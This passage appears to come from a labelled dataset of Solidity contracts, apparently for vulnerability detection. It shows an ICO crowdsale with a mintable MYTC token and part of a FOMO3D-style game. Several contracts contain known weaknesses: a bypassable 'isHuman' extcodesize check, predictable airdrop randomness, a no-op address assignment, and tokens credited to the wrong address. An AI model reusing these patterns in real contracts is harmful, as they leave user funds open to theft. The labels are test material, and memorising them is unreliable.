deployContracts(_nContracts,_newSender);
}
}
function withdraw() public onlyAdmin() {
admin.transfer(address(this).balance);
}
} | 0 | 218 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event SaleAgentUpdated(address currentSaleAgent);
bool public mintingFinished = false;
address public saleAgent;
modifier notLocked() {
require(msg.sender == owner || msg.sender == saleAgent || mintingFinished);
_;
}
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
SaleAgentUpdated(saleAgent);
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(msg.sender == saleAgent && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
function transfer(address _to, uint256 _value) public notLocked returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract StagedCrowdsale is Pausable {
using SafeMath for uint;
struct Stage {
uint hardcap;
uint price;
uint invested;
uint closed;
}
uint public start;
uint public period;
uint public totalHardcap;
uint public totalInvested;
uint public softcap;
Stage[] public stages;
event MilestoneAdded(uint hardcap, uint price);
modifier saleIsOn() {
require(stages.length > 0 && now >= start && now < lastSaleDate());
_;
}
modifier saleIsFinished() {
require(totalInvested >= softcap || now > lastSaleDate());
_;
}
modifier isUnderHardcap() {
require(totalInvested <= totalHardcap);
_;
}
modifier saleIsUnsuccessful() {
require(totalInvested < softcap || now > lastSaleDate());
_;
}
function stagesCount() public constant returns(uint) {
return stages.length;
}
function setSoftcap(uint newSoftcap) public onlyOwner {
require(newSoftcap > 0);
softcap = newSoftcap.mul(1 ether);
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function addStage(uint hardcap, uint price) public onlyOwner {
require(hardcap > 0 && price > 0);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
stages.push(stage);
totalHardcap = totalHardcap.add(stage.hardcap);
MilestoneAdded(hardcap, price);
}
function removeStage(uint8 number) public onlyOwner {
require(number >= 0 && number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
delete stages[number];
for (uint i = number; i < stages.length - 1; i++) {
stages[i] = stages[i+1];
}
stages.length--;
}
function changeStage(uint8 number, uint hardcap, uint price) public onlyOwner {
require(number >= 0 && number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
stage.hardcap = hardcap.mul(1 ether);
stage.price = price;
totalHardcap = totalHardcap.add(stage.hardcap);
}
function insertStage(uint8 numberAfter, uint hardcap, uint price) public onlyOwner {
require(numberAfter < stages.length);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
totalHardcap = totalHardcap.add(stage.hardcap);
stages.length++;
for (uint i = stages.length - 2; i > numberAfter; i--) {
stages[i + 1] = stages[i];
}
stages[numberAfter + 1] = stage;
}
function clearStages() public onlyOwner {
for (uint i = 0; i < stages.length; i++) {
delete stages[i];
}
stages.length -= stages.length;
totalHardcap = 0;
}
function lastSaleDate() public constant returns(uint) {
return start + period * 1 days;
}
function currentStage() public saleIsOn isUnderHardcap constant returns(uint) {
for(uint i = 0; i < stages.length; i++) {
if(stages[i].closed == 0) {
return i;
}
}
revert();
}
}
contract CommonSale is StagedCrowdsale {
MYTCToken public token;
uint public slaveWalletPercent = 50;
uint public percentRate = 100;
uint public minInvestment;
bool public slaveWalletInitialized;
bool public slaveWalletPercentInitialized;
address public masterWallet;
address public slaveWallet;
address public directMintAgent;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (uint => address) public contributors;
uint public uniqueContributors;
event TokenPurchased(address indexed purchaser, uint256 value, uint256 purchaseDate);
event TokenMinted(address to, uint tokens, uint256 mintedDate);
event InvestmentReturned(address indexed investor, uint256 amount, uint256 returnDate);
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
function setToken(address newToken) public onlyOwner {
token = MYTCToken(newToken);
}
function setMinInvestment(uint newMinInvestment) public onlyOwner {
minInvestment = newMinInvestment;
}
function setMasterWallet(address newMasterWallet) public onlyOwner {
masterWallet = newMasterWallet;
}
function setSlaveWallet(address newSlaveWallet) public onlyOwner {
require(!slaveWalletInitialized);
slaveWallet = newSlaveWallet;
slaveWalletInitialized = true;
}
function setSlaveWalletPercent(uint newSlaveWalletPercent) public onlyOwner {
require(!slaveWalletPercentInitialized);
slaveWalletPercent = newSlaveWalletPercent;
slaveWalletPercentInitialized = true;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function directMint(address to, uint investedWei) public onlyDirectMintAgentOrOwner saleIsOn {
calculateAndMintTokens(to, investedWei);
TokenPurchased(to, investedWei, now);
}
function createTokens() public whenNotPaused payable {
require(msg.value >= minInvestment);
uint masterValue = msg.value.mul(percentRate.sub(slaveWalletPercent)).div(percentRate);
uint slaveValue = msg.value.sub(masterValue);
masterWallet.transfer(masterValue);
slaveWallet.transfer(slaveValue);
calculateAndMintTokens(msg.sender, msg.value);
TokenPurchased(msg.sender, msg.value, now);
}
function calculateAndMintTokens(address to, uint weiInvested) internal {
uint stageIndex = currentStage();
Stage storage stage = stages[stageIndex];
uint tokens = weiInvested.mul(stage.price);
if(investedAmountOf[msg.sender] == 0) {
contributors[uniqueContributors] = msg.sender;
uniqueContributors += 1;
}
investedAmountOf[msg.sender] = investedAmountOf[msg.sender].add(weiInvested);
tokenAmountOf[msg.sender] = tokenAmountOf[msg.sender].add(tokens);
mintTokens(to, tokens);
totalInvested = totalInvested.add(weiInvested);
stage.invested = stage.invested.add(weiInvested);
if(stage.invested >= stage.hardcap) {
stage.closed = now;
}
}
function mintTokens(address to, uint tokens) internal {
token.mint(this, tokens);
token.transfer(to, tokens);
TokenMinted(to, tokens, now);
}
function() external payable {
createTokens();
}
function retrieveExternalTokens(address anotherToken, address to) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(to, alienToken.balanceOf(this));
}
function refund() public saleIsUnsuccessful {
uint value = investedAmountOf[msg.sender];
investedAmountOf[msg.sender] = 0;
msg.sender.transfer(value);
InvestmentReturned(msg.sender, value, now);
}
}
contract WhiteListToken is CommonSale {
mapping(address => bool) public whiteList;
modifier onlyIfWhitelisted() {
require(whiteList[msg.sender]);
_;
}
function addToWhiteList(address _address) public onlyDirectMintAgentOrOwner {
whiteList[_address] = true;
}
function addAddressesToWhitelist(address[] _addresses) public onlyDirectMintAgentOrOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
addToWhiteList(_addresses[i]);
}
}
function deleteFromWhiteList(address _address) public onlyDirectMintAgentOrOwner {
whiteList[_address] = false;
}
function deleteAddressesFromWhitelist(address[] _addresses) public onlyDirectMintAgentOrOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
deleteFromWhiteList(_addresses[i]);
}
}
}
contract MYTCToken is MintableToken {
string public constant name = "MYTC";
string public constant symbol = "MYTC";
uint32 public constant decimals = 18;
mapping (address => uint) public locked;
function transfer(address _to, uint256 _value) public returns (bool) {
require(locked[msg.sender] < now);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(locked[_from] < now);
return super.transferFrom(_from, _to, _value);
}
function lock(address addr, uint periodInDays) public {
require(locked[addr] < now && (msg.sender == saleAgent || msg.sender == addr));
locked[addr] = now + periodInDays * 1 days;
}
}
contract PreTge is CommonSale {
Tge public tge;
event PreTgeFinalized(address indexed finalizer, uint256 saleEnded);
function setMainsale(address newMainsale) public onlyOwner {
tge = Tge(newMainsale);
}
function setTgeAsSaleAgent() public whenNotPaused saleIsFinished onlyOwner {
token.setSaleAgent(tge);
PreTgeFinalized(msg.sender, now);
}
}
contract Tge is WhiteListToken {
address public teamTokensWallet;
address public bountyTokensWallet;
address public reservedTokensWallet;
uint public teamTokensPercent;
uint public bountyTokensPercent;
uint public reservedTokensPercent;
uint public lockPeriod;
uint public totalTokenSupply;
event TgeFinalized(address indexed finalizer, uint256 saleEnded);
function setLockPeriod(uint newLockPeriod) public onlyOwner {
lockPeriod = newLockPeriod;
}
function setTeamTokensPercent(uint newTeamTokensPercent) public onlyOwner {
teamTokensPercent = newTeamTokensPercent;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setReservedTokensPercent(uint newReservedTokensPercent) public onlyOwner {
reservedTokensPercent = newReservedTokensPercent;
}
function setTotalTokenSupply(uint newTotalTokenSupply) public onlyOwner {
totalTokenSupply = newTotalTokenSupply;
}
function setTeamTokensWallet(address newTeamTokensWallet) public onlyOwner {
teamTokensWallet = newTeamTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function setReservedTokensWallet(address newReservedTokensWallet) public onlyOwner {
reservedTokensWallet = newReservedTokensWallet;
}
function endSale() public whenNotPaused saleIsFinished onlyOwner {
uint foundersTokens = totalTokenSupply.mul(teamTokensPercent).div(percentRate);
uint reservedTokens = totalTokenSupply.mul(reservedTokensPercent).div(percentRate);
uint bountyTokens = totalTokenSupply.mul(bountyTokensPercent).div(percentRate);
mintTokens(reservedTokensWallet, reservedTokens);
mintTokens(teamTokensWallet, foundersTokens);
mintTokens(bountyTokensWallet, bountyTokens);
uint currentSupply = token.totalSupply();
if (currentSupply < totalTokenSupply) {
mintTokens(reservedTokensWallet, totalTokenSupply.sub(currentSupply));
}
token.lock(teamTokensWallet, lockPeriod);
token.finishMinting();
TgeFinalized(msg.sender, now);
}
function() external onlyIfWhitelisted payable {
require(now >= start && now < lastSaleDate());
createTokens();
}
} | 1 | 2,361 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FOMO3TEST is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149);
address private admin = msg.sender;
string constant public name = "FOMO3TEST";
string constant public symbol = "FOMO3TEST";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 60 minutes;
uint256 constant private rndInc_ = 60 seconds;
uint256 constant private rndMax_ = 480 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(36,0);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(66,0);
fees_[3] = F3Ddatasets.TeamFee(51,0);
potSplit_[0] = F3Ddatasets.PotSplit(25,0);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(40,0);
potSplit_[3] = F3Ddatasets.PotSplit(40,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
